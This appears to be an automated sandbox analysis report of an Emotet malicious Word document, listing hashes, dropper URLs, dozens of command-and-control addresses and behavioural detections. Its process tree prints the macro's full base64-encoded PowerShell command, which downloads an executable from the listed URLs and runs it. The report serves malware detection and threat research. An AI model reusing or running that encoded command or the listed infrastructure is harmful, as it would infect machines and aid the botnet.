Analysis
- max time kernel
135s - max time network
137s - platform
windows10_x64 - resource
win10 - submitted
13/08/2020, 22:26
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e3_ade362fe6bf01954d42e0274b7ea92ba659ed089143955dd7e73bd36389ef2b6_2020-08-13__222457._doc.doc
Resource
win7v200722
General
- Target emotet_e3_ade362fe6bf01954d42e0274b7ea92ba659ed089143955dd7e73bd36389ef2b6_2020-08-13__222457._doc.doc
- Size 228KB
- Sample200813-bmcrderkps
- SHA256 ade362fe6bf01954d42e0274b7ea92ba659ed089143955dd7e73bd36389ef2b6
- MD5 55c07273e75aea6ebf3248fd52b6e347
- SHA1 3a36d930a19643812e16c6896b3c40b1a0e24edc
- SHA512 5616e46005c5ad753b8eab8c667f4a57d5a0535594471fabfe1ecb27f394d1c06038b08f940c0353e2d034d0c116cad72134a5af2ff169f5b91d5b1e405c48e3
- MD5 SHA1 SHA512
Malware Config
Extracted
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ps1
-
exe.dropper
https://bisisahabatpetani.com/wp-admin/XwhDFsQyx/
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exe.dropper
https://coolcomputers.info/git/05Prdao1p74/
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exe.dropper
http://simulations.org/rw_common/ZPdjx/
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exe.dropper
http://subwaynut.com/scgi-bin/PPBMmwRY/
-
exe.dropper
https://fitsaude.com.br/image/y5ejrhg539799/
Extracted
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emotet
-
66.61.94.36:80
-
159.203.232.29:8080
-
185.86.148.68:443
-
74.208.173.91:8080
-
37.70.131.107:80
-
212.156.133.218:80
-
81.17.93.134:80
-
203.153.216.182:7080
-
115.79.195.246:80
-
115.165.3.213:80
-
216.75.37.196:8080
-
81.214.253.80:443
-
192.241.220.183:8080
-
172.96.190.154:8080
-
195.201.56.70:8080
-
105.213.67.88:80
-
50.116.78.109:8080
-
188.166.25.84:8080
-
187.64.128.197:80
-
198.57.203.63:8080
-
179.5.118.12:80
-
201.213.177.139:80
-
153.220.182.49:80
-
185.208.226.142:8080
-
192.163.221.191:8080
-
37.46.129.215:8080
-
75.127.14.170:8080
-
41.185.29.128:8080
-
91.83.93.103:443
-
51.38.201.19:7080
-
78.188.170.128:80
-
113.160.180.109:80
-
217.199.160.224:8080
-
190.190.15.20:80
-
188.251.213.180:443
-
203.153.216.178:7080
-
182.187.139.200:8080
-
177.37.81.212:443
-
181.164.110.7:80
-
172.105.78.244:8080
-
212.112.113.235:80
-
78.189.60.109:443
-
176.9.93.82:7080
-
201.235.10.215:80
-
188.0.135.237:80
-
92.24.51.238:80
-
143.95.101.72:8080
-
163.172.107.70:8080
-
87.106.231.60:8080
-
197.83.232.19:80
-
31.146.61.34:80
-
5.79.70.250:8080
-
182.176.95.147:80
-
190.212.140.6:80
-
177.144.130.105:443
-
46.32.229.152:8080
-
185.142.236.163:443
-
115.78.11.155:80
-
87.252.100.28:80
-
202.5.47.71:80
-
181.113.229.139:443
-
77.74.78.80:443
-
181.134.9.162:80
-
105.209.235.113:8080
-
157.7.164.178:8081
-
178.33.167.120:8080
-
46.105.131.68:8080
-
139.99.157.213:8080
-
177.32.8.85:80
-
139.59.12.63:8080
-
192.210.217.94:8080
-
75.139.38.211:80
-
113.161.148.81:80
-
107.161.30.122:8080
-
190.164.75.175:80
-
181.167.35.84:80
-
97.104.107.190:80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 808 3824 powersheLL.exe 67 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/1936-13-0x0000000002300000-0x000000000230C000-memory.dmp emotet behavioral2/memory/1936-13-0x0000000002300000-0x000000000230C000-memory.dmp emotet behavioral2/memory/2196-16-0x0000000002230000-0x000000000223C000-memory.dmp emotet behavioral2/memory/2196-16-0x0000000002230000-0x000000000223C000-memory.dmp emotet - Blacklisted process makes network request 2 IoCs
flow pid Process 15 808 powersheLL.exe 23 808 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 1936 Mlvx.exe 2196 KBDTH0.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\FSClient\KBDTH0.exe Mlvx.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 2168 WINWORD.EXE 2168 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 808 powersheLL.exe 808 powersheLL.exe 808 powersheLL.exe 2196 KBDTH0.exe 2196 KBDTH0.exe 2196 KBDTH0.exe 2196 KBDTH0.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 808 powersheLL.exe - Suspicious use of SetWindowsHookEx 15 IoCs
pid Process 2168 WINWORD.EXE 2168 WINWORD.EXE 2168 WINWORD.EXE 2168 WINWORD.EXE 2168 WINWORD.EXE 2168 WINWORD.EXE 2168 WINWORD.EXE 2168 WINWORD.EXE 2168 WINWORD.EXE 2168 WINWORD.EXE 2168 WINWORD.EXE 1936 Mlvx.exe 1936 Mlvx.exe 2196 KBDTH0.exe 2196 KBDTH0.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 808 wrote to memory of 1936 808 powersheLL.exe 75 PID 808 wrote to memory of 1936 808 powersheLL.exe 75 PID 808 wrote to memory of 1936 808 powersheLL.exe 75 PID 1936 wrote to memory of 2196 1936 Mlvx.exe 76 PID 1936 wrote to memory of 2196 1936 Mlvx.exe 76 PID 1936 wrote to memory of 2196 1936 Mlvx.exe 76
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_ade362fe6bf01954d42e0274b7ea92ba659ed089143955dd7e73bd36389ef2b6_2020-08-13__222457._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2168
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABKAEIAUABHAEgAcQBlAGEAPQAnAEsARQBJAEUASwByAHkAYgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYABjAFUAcgBJAFQAeQBwAGAAUgBgAG8AdABPAGAAQwBvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABKAEQATABGAEUAZABuAGsAIAA9ACAAJwBNAGwAdgB4ACcAOwAkAFkAUABQAFUAUABpAGoAcQA9ACcAVgBXAFQARwBPAHAAYwB6ACcAOwAkAEkASABCAFUAQgBlAHAAawA9ACQAZQBuAHYAOgB0AGUAbQBwACsAJwBcACcAKwAkAEoARABMAEYARQBkAG4AawArACcALgBlAHgAZQAnADsAJABQAEEAVgBFAEcAcgBlAHMAPQAnAEgAQwBSAEIAUAB4AG4AYwAnADsAJABOAFAAVQBCAEcAZQBrAHQAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AJwArACcAYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4AZQBUAC4AVwBlAEIAYwBsAEkAZQBOAHQAOwAkAFAAWQBBAE8AQQBwAGQAcwA9ACcAaAB0AHQAcABzADoALwAvAGIAaQBzAGkAcwBhAGgAYQBiAGEAdABwAGUAdABhAG4AaQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AWAB3AGgARABGAHMAUQB5AHgALwAqAGgAdAB0AHAAcwA6AC8ALwBjAG8AbwBsAGMAbwBtAHAAdQB0AGUAcgBzAC4AaQBuAGYAbwAvAGcAaQB0AC8AMAA1AFAAcgBkAGEAbwAxAHAANwA0AC8AKgBoAHQAdABwADoALwAvAHMAaQBtAHUAbABhAHQAaQBvAG4AcwAuAG8AcgBnAC8AcgB3AF8AYwBvAG0AbQBvAG4ALwBaAFAAZABqAHgALwAqAGgAdAB0AHAAOgAvAC8AcwB1AGIAdwBhAHkAbgB1AHQALgBjAG8AbQAvAHMAYwBnAGkALQBiAGkAbgAvAFAAUABCAE0AbQB3AFIAWQAvACoAaAB0AHQAcABzADoALwAvAGYAaQB0AHMAYQB1AGQAZQAuAGMAbwBtAC4AYgByAC8AaQBtAGEAZwBlAC8AeQA1AGUAagByAGgAZwA1ADMAOQA3ADkAOQAvACcALgAiAHMAUABgAGwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUQBOAEIAVgBSAHMAbQBpAD0AJwBLAEQAQwBJAFoAbQBiAGYAJwA7AGYAbwByAGUAYQBjAGgAKAAkAE8AVQBCAEoARwBwAHEAcAAgAGkAbgAgACQAUABZAEEATwBBAHAAZABzACkAewB0AHIAeQB7ACQATgBQAFUAQgBHAGUAawB0AC4AIgBkAG8AVwBgAE4ATABvAEEAZABgAEYASQBgAEwAZQAiACgAJABPAFUAQgBKAEcAcABxAHAALAAgACQASQBIAEIAVQBCAGUAcABrACkAOwAkAEEAVABKAFkAUAB3AG4AYgA9ACcASABVAEcAVwBUAG0AcABsACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQASQBIAEIAVQBCAGUAcABrACkALgAiAGwARQBgAE4AZwB0AGgAIgAgAC0AZwBlACAAMgA5ADQANAA5ACkAIAB7AC4AKAAnAEkAJwArACcAbgB2AG8AawBlAC0ASQB0ACcAKwAnAGUAbQAnACkAKAAkAEkASABCAFUAQgBlAHAAawApADsAJABUAEoAQwBTAFkAZQB0AHAAPQAnAFkARABFAFoASgBhAG4AaQAnADsAYgByAGUAYQBrADsAJABTAFgARgBJAFAAZQBlAG8APQAnAE8ASwBRAFQATgB6AHQAbQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABYAEIATABVAFcAaAB2AGQAPQAnAEMAVQBYAFYARgBkAHgAdAAnAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:808 -
C:\Users\Admin\AppData\Local\Temp\Mlvx.exe"C:\Users\Admin\AppData\Local\Temp\Mlvx.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1936 -
C:\Windows\SysWOW64\FSClient\KBDTH0.exe"C:\Windows\SysWOW64\FSClient\KBDTH0.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2196
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